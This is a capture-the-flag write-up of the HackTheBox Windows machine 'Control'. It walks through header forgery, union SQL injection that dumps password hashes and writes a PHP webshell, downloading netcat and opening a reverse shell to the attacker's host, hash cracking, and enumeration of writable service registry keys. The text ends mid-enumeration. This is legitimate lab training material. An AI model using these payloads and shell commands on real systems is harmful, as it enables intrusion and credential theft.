HTB: Control
Control was a bit painful for someone not comfortable looking deep at Windows objects and permissions. It starts off simply enough, with a website where I’ll have to forge an HTTP header to get into the admin section, and then identify an SQL injection to write a webshell and dump user hashes. I can use the webshell to get a shell, and then one of the cracked hashes to pivot to a different user. From there, I’ll find that users can write the registry keys associated with Services. I’ll construct some PowerShell to find potential services that I can restart, and then modify them to run NetCat to return a shell.
Box Info
Name | Control Play on HackTheBox |
---|---|
Release Date | 23 Nov 2019 |
Retire Date | 25 Apr 2020 |
OS | Windows |
Base Points | Hard [40] |
Rated Difficulty | |
Radar Graph | |
00:31:56 |
|
1 days 05:32:55 |
|
Creator |
Recon
nmap
nmap
shows three ports open, HTTP (TCP 80), MS RPC (135), and MySQL (3306):
root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.167
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-23 14:01 EST
Nmap scan report for 10.10.10.167
Host is up (0.31s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 16.60 seconds
root@kali# nmap -p 80,135,3306 -sV -sC -oA scans/nmap-tcpscripts 10.10.10.167
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-23 14:03 EST
Nmap scan report for 10.10.10.167
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.53 seconds
It’s a windows machine, and based on the IIS version, it’s Windows 10 / Server 2016 / Server 2019.
MySQL - TCP 3306
TCP 3306 is typically MySQL. I tried to connect, but it returns a message saying that my IP address is not allowed to connect:
root@kali# mysql -h 10.10.10.167
ERROR 1130 (HY000): Host '10.10.14.4' is not allowed to connect to this MariaDB server
Website - TCP 80
Site
The site is for a company that does some kind of tech thing:
The About link (/about.php
) doesn’t make it any clearer:
The Admin link (/admin.php
) just returns an error:
Page Source
Right at the top of the source for the web root there’s a block of comments:
<!-- To Do:
- Import Products
- Link to new payment system
- Enable SSL (Certificates location \\192.168.4.28\myfiles)
<!-- Header -->
That’s a hint that there’s something at the host at 192.168.4.28.
Shell as iusr
Access admin.php
“Proxy”
The page said that I needed to go through the proxy, and that a header was missing. I found this page with a list of HTTP headers, and pulled the list into a text file:
root@kali# head headers
Accept
Accept-CH
Accept-CH-Lifetime
Accept-Charset
Accept-Encoding
Accept-Language
Accept-Patch
Accept-Ranges
Access-Control-Allow-Credentials
Access-Control-Allow-Headers
Now I’ll use wfuzz
to see if adding these changes anything. I ran it once, and noticed that the message about not having access is 89 characters, so I’ll add --hh 89
to the end of my command. Originally I ran it using the hosts IP:
root@kali# wfuzz -c -w headers -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.167/admin.php
Total requests: 97
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000027: 400 6 L 34 W 374 Ch "Content-Length"
000000083: 501 6 L 26 W 343 Ch "Transfer-Encoding"
Total time: 0.267723
Processed Requests: 97
Filtered Requests: 95
Requests/sec.: 362.3140
Then I saw the hint in the source and ran it again with the value of the given IP:
root@kali# wfuzz -c -w headers -u http://10.10.10.167/admin.php -H "FUZZ: 192.168.4.28" --hh 89
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.167/admin.php
Total requests: 97
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000027: 400 6 L 34 W 374 Ch "Content-Length"
000000083: 501 6 L 26 W 343 Ch "Transfer-Encoding"
000000093: 200 153 L 466 W 7933 Ch "X-Forwarded-For"
Total time: 0.221581
Processed Requests: 97
Filtered Requests: 94
Requests/sec.: 437.7627
That HTTP 200 on “X-Forwarded-For” that returns 7933 characters is certainly interesting. I downloaded a Firefox plugin called Modify Header Value (I didn’t have something that did this before, and this one was ok, but if you have a better tool, leave a comment), and set it to add a “X-Forwarded-For” header for Control:
Now I refreshed /admin.php
, and got a page.
/admin.php
Now /admin.php
gives a dashboard for inventory management:
I made sure I had FoxyProxy sending my traffic through Burp, and I played for a few minutes on this page, generating HTTP requests to a handful of different PHP scripts:
SQLI
Find SQLI
With a good list of pages to check out, I started sending those requests to repeater to test. There’s SQL injection all over the place. The first place I looked at /search_products.php
. The initial request looked like:
POST /search_products.php HTTP/1.1
Host: 10.10.10.167
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.167/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.4.28
productName=Asus
When I add a '
to get productName=Asus'
, I see the following in the body of the returned page:
<!-- Latest Products -->
<section>
<h4>Products</h4>
<div class="table-wrapper">
<table border="1" cellpadding="10">
<thead>
<tr>
<th>Id</th>
<th>Name</th>
<th>Quantity</th>
<th>Category</th>
<th>Price</th>
</tr>
</thead>
<tbody>
Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''Asus''' at line 1 </tbody>
</table>
</div>
I can make the query good again with a comment, productName=Asus'#
, which returns a <tbody>
of:
<td>No Products Found</td><td> </td><td> </td><td> </td><td> </td>
Find Number of Columns
Next I’ll try to do a union injection, and I’ll need to figure out how many columns are returned. I’ll start with productName=Asus' union select 1#
, and it returns:
Error: SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of column
Very nice / sloppy to leave the error messages in. I’ll add columns to my select until I get to productName=Asus' UNION select 1,2,3,4,5,6#
, when it returns:
<tr><td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td></tr>
Enumerate
Now I’ll start to pull information out of this database. I like the Pentest Monkey MySQL Injection Cheat Sheet as a starting reference. I’ll get the version, current user, and current database with ` Result productName=Asus’ UNION select @@version,user(),database(),4,5,6#`:
<tr><td>10.4.8-MariaDB</td><td>manager@localhost</td><td>warehouse</td><td>4</td><td>5</td><td>6</td></tr>
I can list the databases with productName=Asus' union select schema_name,2,3,4,5,6 from information_schema.schemata#
to see three dbs:
- information_schema
- mysql
- warehouse
Since warehouse is the only non-default database, I’ll look at it’s tables with productName=Asus' union select table_schema,table_name,3,4,5,6 from information_schema.tables where table_schema != 'mysql' AND table_schema != 'information_schema'#
(I’ll hit Render in Burp to see it as a nicely formatted table):
I did a bit more digging, but nothing interesting in those tables.
I can grab the internal password hashes with productName=Asus' UNION select host,user,password,4,5,6 from mysql.user#
:
I’m not sure how these could be useful right now, but I’ll start cracking these now to have later.
Next I’ll look at the privileges for the various users with productName=Asus' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges#
. Both hector and root seem to have all the privileges (too many to show below). manager seems to have one, FILE:
Shell
File Write
Since my current user has FILE priv, I’m going to write a webshell on the box. I’ll issue the following POST which should print out a webshell:
productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6#
It does write what I wanted it, but unsurprisingly, it does not execute it, since it’s just printed as text to the screen:
<tr><td><?php system($_GET['cmd']); ?></td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td></tr>
But, now, I can run the same SQL command, but this time write it to a file, guessing the default IIS path:
productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/_0xdf.php'#
The page returns an error:
Error: SQLSTATE[HY000]: General error
But if I POST the same command again, I get a different error saying the file already exists:
Error: SQLSTATE[HY000]: General error: 1086 File 'c:/inetpub/wwwroot/_0xdf.php' already exists
Now I can hit the webshell, and I have command execution:
root@kali# curl -s 'http://10.10.10.167/_0xdf.php?cmd=whoami'
nt authority\iusr
2 3 4 5 6
Get NC Shell
I’ll start a Python webserver in the directory where I keep Windows nc
, and then run:
root@kali# curl '10.10.10.167/_0xdf.php?cmd=powershell+wget+http://10.10.14.4/nc
64.exe+-outfile+\windows\temp\nc.exe'
This will download nc64.exe
to \windows\temp\nc.exe
.
I get the request on my server:
root@kali# cd /opt/shells/netcat/; python3 -m http.server 80; cd -
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.167 - - [24/Nov/2019 14:13:47] "GET /nc64.exe HTTP/1.1" 200 -
Now, with a local nc
listener waiting, I’ll execute nc
to get a shell:
root@kali# curl '10.10.10.167/_0xdf.php?cmd=\windows\temp\nc.exe+-e+cmd+10.10.14.4+443'
I get a shell as iusr immediately:
root@kali# rlwrap nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.167.
Ncat: Connection from 10.10.10.167:53175.
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\wwwroot>whoami
nt authority\iusr
Priv: manager –> hector
Enumeration
I see that hector is the user on the box:
PS C:\users> dir
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/5/2019 2:34 PM Administrator
d----- 11/1/2019 11:09 AM Hector
d-r--- 10/21/2019 5:29 PM Public
And that he’s in the Remove Management Users group:
PS C:\users> net user hector
User name Hector
Full Name Hector
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/1/2019 11:27:50 AM
Password expires Never
Password changeable 11/1/2019 11:27:50 AM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/6/2019 5:37:51 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use*Users
Global Group memberships *None
The command completed successfully.
This group means that he can run commands over WinRM.
I can see that the host is listening on 5985 (WinRM), even though the firewall must be preventing me from seeing it from my box:
PS C:\users> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1840
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 452
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 992
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1708
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 608
TCP 0.0.0.0:52629 0.0.0.0:0 LISTENING 2256
TCP 10.10.10.167:80 10.10.14.4:48742 ESTABLISHED 4
TCP 10.10.10.167:53175 10.10.14.4:443 ESTABLISHED 2736
...[snip]...
This means if I can find a password for hector, I can try to run commands as that user.
Crack MySQL Password
I had earlier started running the MySQL passwords through hashcat
. I had a hashes
file:
root@kali# cat hashes
hector:0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
manager:CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
root:0A4A5CAD344718DC418035A1F4D292BA603134D8
Then I started hashcat
, and pretty quickly it broke hectors:
root@kali# hashcat -m 300 hashes --user /usr/share/wordlists/rockyou.txt --force
...[snip]...
0e178792e8fc304a2e3133d535d38caf1da3cd9d:l33th4x0rhector
...[snip]...
Run Commands as hector
With that password, I’ll try to run a command as hector. I’ll start powershell
:
C:\>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\>
Now I’ll create a credential object:
PS C:\> $env:ComputerName
CONTROL
PS C:\> $username = "CONTROL\hector"
PS C:\> $password = "l33th4x0rhector"
PS C:\> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Now I’ll use Invoke-Command
to run commands as hector, and it works:
PS C:\> Invoke-Command -Computer localhost -Credential $cred -ScriptBlock { whoami }
control\hector
Shell as hector
For some reason, hector can’t access the nc.exe
I uploaded to \windows\temp
, but I’ll upload another copy, and run it:
PS C:\> wget 10.10.14.4/nc64.exe -outfile \windows\system32\spool\drivers\color\nc64.exe
PS C:\> Invoke-Command -credential $cred -ScriptBlock { \windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.4 443 } -computer localhost
And I get a shell as hector:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.167.
Ncat: Connection from 10.10.10.167:52486.
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Hector\Documents>
And now I can get user.txt
:
C:\Users\Hector\Desktop>type user.txt
d8782dd0************************
Priv: hector –> SYSTEM
Enumeration
winPEAS
This is an interesting case because winPEAS misses the vector. I’ll upload the exe to Control and run it. Within the output:
[+] Modifiable Services(T1007)
[?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
You cannot modify any service
[+] Looking if you can modify any service registry()
[?] Check if you can modify the registry of a service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions
[-] Looks like you cannot change the registry of any service...
I can’t quite explain what’s going on here. In the winPEAS bat file it looks like it’s trying to do reg save
on each key and then call reg restore
and if that succeeds, print that I can write it. But I used the exe which is written in C#, and I can’t explain what’s going on exactly.
PowerShell History
hector’s home directory does have a PowerShell history file:
C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>dir
Volume in drive C has no label.
Volume Serial Number is C05D-877F
Directory of C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
11/25/2019 12:04 PM <DIR> .
11/25/2019 12:04 PM <DIR> ..
11/25/2019 02:36 PM 114 ConsoleHost_history.txt
1 File(s) 114 bytes
2 Dir(s) 43,608,150,016 bytes free
It only contains two commands:
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
The first one lists the keys under CurrentControlSet
, of which Services
is one of them.
The second prints out access information about the CurrentControlSet
key itself:
PS C:\> get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
Owner : BUILTIN\Administrators
Group : NT AUTHORITY\SYSTEM
Access : BUILTIN\Administrators Allow FullControl
NT AUTHORITY\Authenticated Users Allow ReadKey
NT AUTHORITY\Authenticated Users Allow -2147483648
S-1-5-32-549 Allow ReadKey
S-1-5-32-549 Allow -2147483648
BUILTIN\Administrators Allow FullControl
BUILTIN\Administrators Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
CREATOR OWNER Allow 268435456
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -2147483648
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow
ReadKey
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow
-2147483648
Audit :
Sddl : O:BAG:SYD:AI(A;;KA;;;BA)(A;ID;KR;;;AU)(A;CIIOID;GR;;;AU)(A;ID;KR;;;SO)(A;CIIOID;GR;;;SO)(A;ID;KA;;;BA)(A;CIIOI
D;GA;;;BA)(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;CIIOID;GA;;;CO)(A;ID;KR;;;AC)(A;CIIOID;GR;;;AC)(A;ID;KR;;;S-1-15-
3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)(A;CIIOID;GR;;;S
-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)
I can translate the Sddl
to human readable by saving the full ACL into a variable and then running:
PS C:\> $acl = get-acl HKLM:\SYSTEM\CurrentControlSet
PS C:\> ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
BUILTIN\Administrators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
NT AUTHORITY\Authenticated Users: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
BUILTIN\Administrators: AccessAllowed Inherited (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
NT AUTHORITY\SYSTEM: AccessAllowed Inherited (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
Service Registry Enumeration
Via PowerShell
So despite winPEAS’s saying I can’t modify services, I’m going to continue looking here. If I look at the Services
key, I can see that hector actually has FullControl
:
PS C:\> $acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services
PS C:\> ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
NT AUTHORITY\Authenticated Users: AccessAllowed (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
BUILTIN\Administrators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
CONTROL\Hector: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES: AccessAllowed (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
Via accesschk
I could see this a different way using accesschk64.exe
from SysInternals. When I run with -uwcqv
, it goes through the Service Control Manager, and hector doesn’t have permissions:
PS C:\> \windows\system32\spool\drivers\color\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
Error opening Service Control Manager:
Access is denied.
No matching objects found.
However, when I use -kwsu
it reads in the registry, and I can access what seems like all services:
C:\>\windows\system32\spool\drivers\color\accesschk64.exe "Hector" -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
RW HKLM\System\CurrentControlSet\Services\.NET CLR Data
RW HKLM\System\CurrentControlSet\Services\.NET CLR Data\Linkage
RW HKLM\System\CurrentControlSet\Services\.NET CLR Data\Performance
RW HKLM\System\CurrentControlSet\Services\.NET CLR Networking
RW HKLM\System\CurrentControlSet\Services\.NET CLR Networking\Linkage
RW HKLM\System\CurrentControlSet\Services\.NET CLR Networking\Performance
RW HKLM\System\CurrentControlSet\Services\.NET CLR Networking 4.0.0.0
RW HKLM\System\CurrentControlSet\Services\.NET CLR Networking 4.0.0.0\Linkage
RW HKLM\System\CurrentControlSet\Services\.NET CLR Networking 4.0.0.0\Performance
RW HKLM\System\CurrentControlSet\Services\.NET Data Provider for Oracle
RW HKLM\System\CurrentControlSet\Services\.NET Data Provider for Oracle\Performance
RW HKLM\System\CurrentControlSet\Services\.NET Data Provider for SqlServer
RW HKLM\System\CurrentControlSet\Services\.NET Data Provider for SqlServer\Performance
RW HKLM\System\CurrentControlSet\Services\.NET Memory Cache 4.0
RW HKLM\System\CurrentControlSet\Services\.NET Memory Cache 4.0\Linkage
RW HKLM\System\CurrentControlSet\Services\.NET Memory Cache 4.0\Performance
RW HKLM\System\CurrentControlSet\Services\.NETFramework
RW HKLM\System\CurrentControlSet\Services\.NETFramework\Performance
RW HKLM\System\CurrentControlSet\Services\1394ohci
RW HKLM\System\CurrentControlSet\Services\3ware
RW HKLM\System\CurrentControlSet\Services\3ware\Parameters
RW HKLM\System\CurrentControlSet\Services\3ware\Parameters\PnpInterface
RW HKLM\System\CurrentControlSet\Services\3ware\StartOverride
RW HKLM\System\CurrentControlSet\Services\ACPI
RW HKLM\System\CurrentControlSet\Services\ACPI\Parameters
RW HKLM\System\CurrentControlSet\Services\ACPI\Enum
RW HKLM\System\CurrentControlSet\Services\AcpiDev
RW HKLM\System\CurrentControlSet\Services\acpiex
RW HKLM\System\CurrentControlSet\Services\acpiex\Parameters
RW HKLM\System\CurrentControlSet\Services\acpiex\Parameters\Wdf
...[snip]...
Note About PowerShell
Since PowerShell is not a strong language for me, this took a ton of trial and error, and I’m sure there are better ways to do it, but I managed to get to things that worked. This was a useful (if not painful) experience in making myself use PowerShell.
Enumeration for Start
Knowing that I can write to any service registry key is useful, because I can replace a service binary path to run whatever I want as SYSTEM. In real life, I could set a service to run my exe and then wait for a reboot. But in HTB, I need to find a serive I can restart. As a non-admin user, I likely can’t stop services. So I’m going to look for services that I can start.
For this, I’ll need to look at the SDDL permissions on the service using sc sdshow [service]
. I looked at this before in my writeup of the error in Nest that allowed any user to PSExec when it was released. I go into a bit more detail on SDDL there, but in this case, I’m looking for a service where any authorized user (AU
) has RP
. There’s probably a clean way to do this with PowerShell, but I used the output of sc sdshow
and a regex (RP[A-Z]*?;;;AU
) to get this list:
PS C:\> foreach ($service in $services) { $sddl = (cmd /c sc sdshow $service)[1]; if ($sddl -match "RP[A-Z]*?;;;AU") { write-host $service,$sddl }}
AppVClient D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)
ConsentUxUserSvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
ConsentUxUserSvc_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
DevicePickerUserSvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)
DevicePickerUserSvc_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)
DevicesFlowUserSvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)
DevicesFlowUserSvc_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)
DoSvc D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;DCRC;;;S-1-5-80-3055155277-3816794035-3994065555-2874236192-2193176987)
PimIndexMaintenanceSvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
PimIndexMaintenanceSvc_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
PrintWorkflowUserSvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-15-3-1024-4044835139-2658482041-3127973164-329287231-3865880861-1938685643-461067658-1087000422)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)
PrintWorkflowUserSvc_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-15-3-1024-4044835139-2658482041-3127973164-329287231-3865880861-1938685643-461067658-1087000422)(A;;CCLCSWRPWPDTLOCRRC;;;S-1-5-21-2702878673-795188819-444038987-2781)
RasMan D:(A;;CCLCSWRPLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPLOCRRC;;;S-1-15-3-1024-1068037383-729401668-2768096886-125909118-1680096985-174794564-3112554050-3241210738)
seclogon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPDTLOCRRC;;;IU)(A;;CCLCSWDTLOCRRC;;;SU)(A;;CCLCSWRPDTLOCRRC;;;AU)
SstpSvc D:(A;;CCLCSWRPLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;NO)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCLCSWRPLOCRRC;;;S-1-15-3-1024-1068037383-729401668-2768096886-125909118-1680096985-174794564-3112554050-3241210738)
UevAgentService D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)
UnistoreSvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
UnistoreSvc_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
